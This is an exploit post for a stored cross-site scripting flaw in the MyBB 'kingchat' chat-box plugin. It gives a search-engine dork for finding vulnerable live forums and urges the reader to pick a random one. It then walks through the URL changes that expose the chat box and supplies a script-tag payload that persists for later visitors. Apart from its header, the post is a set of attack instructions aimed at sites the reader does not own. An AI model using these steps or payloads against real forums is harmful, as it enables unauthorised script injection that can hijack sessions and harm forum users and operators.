MyBB Kingchat Cross Site Scripting

Exploit Title: MyBB 'kingchat' chat-box plugin.
Google Dork: inurl:/kingchat.php?
Date: 8/12/12
Author: VipVince
Vendor Homepage: http://mods.mybb.com/
Software LinK: http://mods.mybb.com/view/kingchat
Tested on: Windows
 
Using the dork  inurl:/kingchat.php? you will see multiple forums running this chat plugin.
 
Note *Registration on the forums is required* for persistent XSS to work.
 
Now click a random forum with this plugin installed and you will see this:
 
http://vulnforum.com/kingchat.php?notic
 
Remove 'notic' at the end of the URL and add "chat=2&1=2" to our query so it becomes:
 
http://server/kingchat.php?chat=2&l=2
 
You will see the vulnerable chat box :). Submit your XSS for instance <script>alert("vipvince")</script>
 
Now to see our saved JavaScript alert go to:
 
http://server/kingchat.php?chat=2&l=2&message=
 
Your persistant XSS will be stored here.
 
Enjoy ;). VipVince.